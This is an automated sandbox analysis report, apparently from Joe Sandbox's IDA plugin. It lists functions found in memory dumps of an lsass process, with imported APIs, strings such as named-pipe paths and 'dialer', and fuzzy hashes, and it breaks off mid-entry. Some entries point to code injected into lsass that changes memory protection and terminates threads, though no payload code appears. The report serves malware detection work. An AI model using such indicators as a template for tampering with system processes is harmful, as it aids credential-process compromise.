__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000202C0AE76BE
__scrt_release_startup_lock.LIBCMT ref: 00000202C0AE76E9

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction ID: 62707e5ddcb1c22e119202a5bac5f5c202d9faddf4cc597c2adbdb7861f3ec9d
Opcode Fuzzy Hash: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction Fuzzy Hash: 0481E4227047C1C6FB54AB29A8CD36D2291BB95780F1A4017DBE947797DF39CAAD8700

Function 00000202C0AB69F0 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000202C0AB6A18
__scrt_acquire_startup_lock.LIBCMT ref: 00000202C0AB6A6A
_RTC_Initialize.LIBCMT ref: 00000202C0AB6A98
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000202C0AB6ABE
__scrt_release_startup_lock.LIBCMT ref: 00000202C0AB6AE9

Memory Dump Source

Source File: 00000018.00000002.2959204478.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ab0000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction ID: c51e0415e1b0b4e1f38e484a64db28ef20f8ba36d571437a8af6fe375b171dd7
Opcode Fuzzy Hash: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction Fuzzy Hash: B081D331600741C6FA54AB29A4CD39D66E8FB46780F47402BEB49977B7DB7DC94E8700

Function 00000202C0AE9804 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000202C0AE9889
GetLastError.KERNEL32 ref: 00000202C0AE9897
LoadLibraryExW.KERNEL32 ref: 00000202C0AE98C1
FreeLibrary.KERNEL32 ref: 00000202C0AE9907
GetProcAddress.KERNEL32 ref: 00000202C0AE9913

Strings

api-ms-, xrefs: 00000202C0AE98A9

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: b7fd7646394baccca3f1b1048765e4d0241f371571e58ba301572f288adf5d58
Instruction ID: ce9526800f8a0f85bc88793c8825a76fdea1355de21c7931be02b529e6a7b8ed
Opcode Fuzzy Hash: b7fd7646394baccca3f1b1048765e4d0241f371571e58ba301572f288adf5d58
Instruction Fuzzy Hash: 00319032212B90D1FE11DB06A89C79D6294BB09BA0F1B052B9FBE473A2DF38C55D8304

Function 00000202C0AF1B9C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000202C0AF1BCD
GetLastError.KERNEL32 ref: 00000202C0AF1BD9
CloseHandle.KERNEL32 ref: 00000202C0AF1BF1
CreateFileW.KERNEL32 ref: 00000202C0AF1C1C
WriteConsoleW.KERNEL32 ref: 00000202C0AF1C3B

Strings

CONOUT$, xrefs: 00000202C0AF1BFD

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: fbbfc3741cb00c8850d54b7fda61e687de032808d93317950d0633c9a62c2227
Instruction ID: 3bab10382ae25f38b3b1a5c87630ee1a7d71810807f588bc5720f1820a17ff55
Opcode Fuzzy Hash: fbbfc3741cb00c8850d54b7fda61e687de032808d93317950d0633c9a62c2227
Instruction Fuzzy Hash: DE116D23318B40C6FB508B56E88C31D66A0F788FE4F054227EB5D87B95DF7AC9488744

Function 00000202C0AE5C10 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5C4B
GetThreadContext.KERNEL32 ref: 00000202C0AE5DB5

Part of subcall function 00000202C0AE5A40: GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5A44

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 52f3b0a83a9fc5b22f41d8404852d8b34c9dcd72dd37eace61d9b8d2680426a2
Instruction ID: c4d4982ed5f191253c8f6e8d384e846f457355d32d9817d38341f348d629b157
Opcode Fuzzy Hash: 52f3b0a83a9fc5b22f41d8404852d8b34c9dcd72dd37eace61d9b8d2680426a2
Instruction Fuzzy Hash: EAD19536208B88C6EA70DB1AE49835E77A0F788B84F110217EBDD47BA6DF39C555CB00

Function 00000202C0AE30B4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE30D7
HeapAlloc.KERNEL32 ref: 00000202C0AE30EA
StrCmpNIW.SHLWAPI ref: 00000202C0AE316B
GetProcessHeap.KERNEL32 ref: 00000202C0AE31D1
HeapFree.KERNEL32 ref: 00000202C0AE31DF

Strings

dialer, xrefs: 00000202C0AE3164

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 5b923b6f3d4b051af17e4e8faeca1d1198f97f66eaed8709a0f00f88d373bc4e
Instruction ID: f6eecbd787ff78f4e92c6b6fac0e43704a481cf27d926e02e8b7673ce402a933
Opcode Fuzzy Hash: 5b923b6f3d4b051af17e4e8faeca1d1198f97f66eaed8709a0f00f88d373bc4e
Instruction Fuzzy Hash: D4319523705B95C2FF55DF56988C36D63A0FB44B84F0682279F9807B56EB38C4B98700

Function 00000202C0AE37AC Relevance: 9.0, APIs: 6, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000202C0AE37C8
GetCurrentProcess.KERNEL32 ref: 00000202C0AE37D6
VirtualProtectEx.KERNEL32 ref: 00000202C0AE37F8
GetCurrentProcess.KERNEL32 ref: 00000202C0AE3819
VirtualProtectEx.KERNEL32 ref: 00000202C0AE383A
TerminateThread.KERNEL32 ref: 00000202C0AE3849

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: e4252fc9f6451678ca3b672aa508af9be8436cc55dc462e8819adcbe9d266895
Instruction ID: d4c0bd763e822144200f078a16a066fcebdfd944db47271af984dff9e080ac38
Opcode Fuzzy Hash: e4252fc9f6451678ca3b672aa508af9be8436cc55dc462e8819adcbe9d266895
Instruction Fuzzy Hash: 23111777615B80C2FB249B21E88D71E66A0BB48B85F06052BDB99077A6EF3EC51C8704

Function 00000202C0AE90D8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000202C0AE9103
_IsNonwritableInCurrentImage.LIBCMT ref: 00000202C0AE9198
RtlUnwindEx.NTDLL ref: 00000202C0AE91E7

Strings

csm, xrefs: 00000202C0AE917E
f, xrefs: 00000202C0AE9116

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 2b68ddb093160c159f3838c1131a2f908320feabf111407c5e8bfe37d954b0ed
Instruction ID: 38ba8f7b21269fd3b9bf4da63608bcae845370928ebf667d63f4109bac76b113
Opcode Fuzzy Hash: 2b68ddb093160c159f3838c1131a2f908320feabf111407c5e8bfe37d954b0ed
Instruction Fuzzy Hash: 2351AD32211B81DAFB54CB15E48CB9D3795F384B88F528223DBA64778AEB75C859C708

Function 00000202C0AE3200 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000202C0AE3222
StrCpyW.SHLWAPI ref: 00000202C0AE3232
StrCatW.SHLWAPI ref: 00000202C0AE323E
PathCombineW.SHLWAPI ref: 00000202C0AE324C

Strings

\\.\pipe\, xrefs: 00000202C0AE3218

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: a10b9fbf5d2c898f7c9b708695815e9cf74f4df3f8d5b839e299d2cca4937a3b
Instruction ID: 58c620da79e6000e9b79ff87e859777da2d69fa67d42e0e12367462d5b8a3e82
Opcode Fuzzy Hash: a10b9fbf5d2c898f7c9b708695815e9cf74f4df3f8d5b839e299d2cca4937a3b
Instruction Fuzzy Hash: CAF08263308B80D1FB109B53B98C19DA224AB58FD0F098133DF9A07B2ACE3DC4998700

Function 00000202C0AEA138 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000202C0AEA154
GetProcAddress.KERNEL32 ref: 00000202C0AEA16A
FreeLibrary.KERNEL32 ref: 00000202C0AEA187

Strings

CorExitProcess, xrefs: 00000202C0AEA163
mscoree.dll, xrefs: 00000202C0AEA14B

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 9217264d43014ce808c99de8a8145fbe135b698a21aa29953e209d5462850717
Instruction ID: 44c2d7fa17ed85bb862da8537152fd98739825cdb4636ec5640dd3ff4b972415
Opcode Fuzzy Hash: 9217264d43014ce808c99de8a8145fbe135b698a21aa29953e209d5462850717
Instruction Fuzzy Hash: 2FF01263315784D2FF549B60E8CC36D2360AF58B90F46211B975B46666DF39C49CC700

Function 00000202C0AE51B0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5236

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 065eb2a24c7300192409b1f4bca8757e198c759726111ad2bde78b52490ea3d6
Instruction ID: aeb55cec6b7a55ca872fc64ee18e19171bdb6a382fd37deb22fb8e8d49dba66c
Opcode Fuzzy Hash: 065eb2a24c7300192409b1f4bca8757e198c759726111ad2bde78b52490ea3d6
Instruction Fuzzy Hash: 8602A536219BC0C6EBA08B55F49835EB7A1F385794F110117EBDE87BA9DB79C498CB00

Function 00000202C0AF0860 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000202C0AF08A2
GetConsoleMode.KERNEL32 ref: 00000202C0AF0960
GetLastError.KERNEL32 ref: 00000202C0AF09EA

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 4bcbd420be841bafcf1cb86917f82a61becb6801fc8ef256a9047459a88e7092
Instruction ID: f7ed3af27d76bfccc9fb8471a0bf51769a4ebcf67aed316be1b93732fc8d91bd
Opcode Fuzzy Hash: 4bcbd420be841bafcf1cb86917f82a61becb6801fc8ef256a9047459a88e7092
Instruction Fuzzy Hash: 0B81BB33610750C9FB60AB6688CCBAD67A1F744BC8F464217DF4A53B97DB368449C710

Function 00000202C0AE57F0 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000202C0AE5806

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 94d32eef5ebe536b0a0adfa3e0b32a568b4410008b4bb6dfd84b7e083660618c
Instruction ID: 9d399a640bb9f226b8de1ae05f8772ff06d01c88ddc70a103681ebeca164bd03
Opcode Fuzzy Hash: 94d32eef5ebe536b0a0adfa3e0b32a568b4410008b4bb6dfd84b7e083660618c
Instruction Fuzzy Hash: 9761C636519B80C6FA609B25F48C31EB7A1F388784F110217EBDD47BAACB78C568DB04

Function 00000202C0AF1EB8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000202C0AF1EE0
_set_statfp.LIBCMT ref: 00000202C0AF1EFB
_set_statfp.LIBCMT ref: 00000202C0AF1F17
_set_statfp.LIBCMT ref: 00000202C0AF1F53

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 2edf33ed1164340e63f63a0d3027f3ef493e8ef5cc600c618098d4d6d1b67b67
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 2411A133F58B41C2F6B81168E5DE36D5041BB64B74F4B4627BB7B863E78B6A8C4A4300

Function 00000202C0AC12B8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000202C0AC12E0
_set_statfp.LIBCMT ref: 00000202C0AC12FB
_set_statfp.LIBCMT ref: 00000202C0AC1317
_set_statfp.LIBCMT ref: 00000202C0AC1353

Memory Dump Source

Source File: 00000018.00000002.2959204478.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ab0000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 6e56fc8b63f1f048d3204ae722a941395d88e5c8d400caab7e798ae4ce33c819
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: DB11E532B54F80C5F6E41169E4DE3AD14406B57FBCF8B0637AB760EBDB8A1A8C4A4200

Function 00000202C0AE3878 Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000202C0AE3886
GetCurrentProcess.KERNEL32 ref: 00000202C0AE38B4
VirtualProtectEx.KERNEL32 ref: 00000202C0AE38D6
GetCurrentProcess.KERNEL32 ref: 00000202C0AE38F4
VirtualProtectEx.KERNEL32 ref: 00000202C0AE3915

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: a6312042db82c9c62213c4cc61283d131af5cc2d1631b4a6c699d8a5d8d1a662
Instruction ID: dbbd5d7f491f5f6cac3024bf119a0553ff861928dcc2bdfd02cc551a2ac0404d
Opcode Fuzzy Hash: a6312042db82c9c62213c4cc61283d131af5cc2d1631b4a6c699d8a5d8d1a662
Instruction Fuzzy Hash: E8112A2B709B81C2FB149B15F45C66D66A0F748B84F05412BDF9907796EF3EC518C704

Function 00000202C0AB84F5 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000202C0AB8503
_IsNonwritableInCurrentImage.LIBCMT ref: 00000202C0AB8598

Strings

f, xrefs: 00000202C0AB8516
csm, xrefs: 00000202C0AB857E

Memory Dump Source

Source File: 00000018.00000002.2959204478.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ab0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction ID: 843d508fee68e9f0da860d3dd1df250c16b123aac621513f78a37fb2d2a1be6c
Opcode Fuzzy Hash: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction Fuzzy Hash: CA518B32612740CAFB28DF29E89CB5D3795F344B98F528227DB1A4778AEB35D849C704

Function 00000202C0AB84D8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000202C0AB8503
_IsNonwritableInCurrentImage.LIBCMT ref: 00000202C0AB8598

Strings

f, xrefs: 00000202C0AB8516
csm, xrefs: 00000202C0AB857E

Memory Dump Source

Source File: 00000018.00000002.2959204478.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ab0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction ID: c2eb2bca5980e0c59ae566e84900ae8bcf2cadf27a87c2250409bce9c75e3fed
Opcode Fuzzy Hash: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction Fuzzy Hash: 94314972211B40D6FB28DF1AE88CB1D37A4F740B98F168217AF5A07786DB39C949C709

Function 00000202C0AE14B4 Relevance: 6.3, APIs: 5, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE14D5
HeapFree.KERNEL32 ref: 00000202C0AE14E4
GetProcessHeap.KERNEL32 ref: 00000202C0AE14F0
HeapFree.KERNEL32 ref: 00000202C0AE14FF
GetProcessHeap.KERNEL32 ref: 00000202C0AE152A

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 5f7cef85691391bfd1f64b5ed8b2db0144129af346a3a3b2b5e725a5d1a6a2a2
Instruction ID: c9f716bf4cc3f8ec9a282e89e69f0f8b796e66f93dce3a389dc466fbe3e5612a
Opcode Fuzzy Hash: 5f7cef85691391bfd1f64b5ed8b2db0144129af346a3a3b2b5e725a5d1a6a2a2
Instruction Fuzzy Hash: FC115B33518B98D2FB54DF66A88C21EB760F789F84F05421BDB9A03756DF39C0598744

Function 00000202C0AE24DC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000202C0AE25C3
StrCpyW.SHLWAPI ref: 00000202C0AE25DA

Strings

\\.\pipe\, xrefs: 00000202C0AE25CE

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: afcb3e66faa42eb2bcf346096e8e020fbdcda90173b34b97db97a4810a61a98e
Instruction ID: f68ce4ff1c380156d6e01e187fc5e501ed0446d0c87c75e41adf4d4f80eeadcb
Opcode Fuzzy Hash: afcb3e66faa42eb2bcf346096e8e020fbdcda90173b34b97db97a4810a61a98e
Instruction Fuzzy Hash: 4D51B5322187C1C2F6749F29A5DC3AE6651F785780F464227DFEA07B9BDE39C4298B40

Function 00000202C0AF0604 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000202C0AF071B
GetLastError.KERNEL32 ref: 00000202C0AF073D

Strings

U, xrefs: 00000202C0AF06C7

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: a13edceeabc266f7553562aa63bd5b4e25a5c0a5c0c842b56dee7ecd57ba2728
Instruction ID: 9136cd904abf1a888aa88204d6ce35162ce64a2a17a793135470f4bd62100658
Opcode Fuzzy Hash: a13edceeabc266f7553562aa63bd5b4e25a5c0a5c0c842b56dee7ecd57ba2728
Instruction Fuzzy Hash: 4A418073214B80C1EB609F26E48C79EA7A1F388784F424027EB8D87B99DB79C555CB40

Function 00000202C0AED6C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000202C0AED6F9
LCMapStringW.KERNEL32 ref: 00000202C0AED781

Strings

LCMapStringEx, xrefs: 00000202C0AED6DC, 00000202C0AED6ED

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 8d086b69a67710f16bbac061c243311228bfa9ac644515e4c5b930ef6255b9c6
Instruction ID: c1244e4e5751e4e33ab54398f15f8768373e8bd3d7510e7b3c46aef1a1838649
Opcode Fuzzy Hash: 8d086b69a67710f16bbac061c243311228bfa9ac644515e4c5b930ef6255b9c6
Instruction Fuzzy Hash: 81110836608BC0C6EB60CB16B48829AB7A4F7C9B90F554127EFDD83B5ADF38C4548B04

Function 00000202C0AE94A4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000202C0AE94E8
RaiseException.KERNEL32 ref: 00000202C0AE952E

Strings

csm, xrefs: 00000202C0AE951B

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 9d9897ce25571c28e51806bf44cef2494793ace286fcfb8ca6bb858d3561ec5c
Instruction ID: 5ec152f602f6614b10d7d61dc62558a14f1fa2edeb9862266148b608519f7d2f
Opcode Fuzzy Hash: 9d9897ce25571c28e51806bf44cef2494793ace286fcfb8ca6bb858d3561ec5c
Instruction Fuzzy Hash: D4114C32208B8082EB618F15E48825D77A0F788B98F194226DFDD0BB69DF39C569CB04

Function 00000202C0AED65C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000202C0AED68D
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00000202C0AED6A7

Strings

InitializeCriticalSectionEx, xrefs: 00000202C0AED681

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: 84d4d9e5c8567b0c470c1df2abda769c6c41ef7958af45e9a0e3fb38bbb318e4
Instruction ID: 923404b4932ecc71181cb30068a9546cc491521e033fc7284cfb6fd6de67006a
Opcode Fuzzy Hash: 84d4d9e5c8567b0c470c1df2abda769c6c41ef7958af45e9a0e3fb38bbb318e4
Instruction Fuzzy Hash: 4EF08223314B80D2FB059B41F48C69D7321AB88B90F4A5127EB9907B56CE3AC9ADD704

Function 00000202C0AED608 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000202C0AED631
TlsSetValue.KERNEL32 ref: 00000202C0AED648

Strings

FlsSetValue, xrefs: 00000202C0AED61E

Memory Dump Source

Source File: 00000018.00000002.2959470831.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 50ddf312d192e0080d8f7be73491643e669436d55e40d94a578a073710abe0d4
Instruction ID: d7467d53a769e4656bbbe4c3d3afebbbd9307ba23a939249af377e23a7e14c26
Opcode Fuzzy Hash: 50ddf312d192e0080d8f7be73491643e669436d55e40d94a578a073710abe0d4
Instruction Fuzzy Hash: 7DE06D63214780D2FF044B50F88C6AC2222BB88780F4A4123DB690A297DE39C86DC704

Function 00000202C0ABCB9C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000202C0ABCBC5

Strings

November, xrefs: 00000202C0ABCBA8, 00000202C0ABCBB2
October, xrefs: 00000202C0ABCBBE

Memory Dump Source

Source File: 00000018.00000002.2959204478.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_202c0ab0000_lsass.jbxd

Similarity

API ID: try_get_function
String ID: November$October
API String ID: 2742660187-1636048786
Opcode ID: fdce6644ec914193c36bb80fdc4676b7f0aefee418b5ba3fb3fb30fec7b157a7
Instruction ID: 679e5424aa469e90ece3b8af143238a50df9fedd07725b9b320bb21ab3ca171a
Opcode Fuzzy Hash: fdce6644ec914193c36bb80fdc4676b7f0aefee418b5ba3fb3fb30fec7b157a7
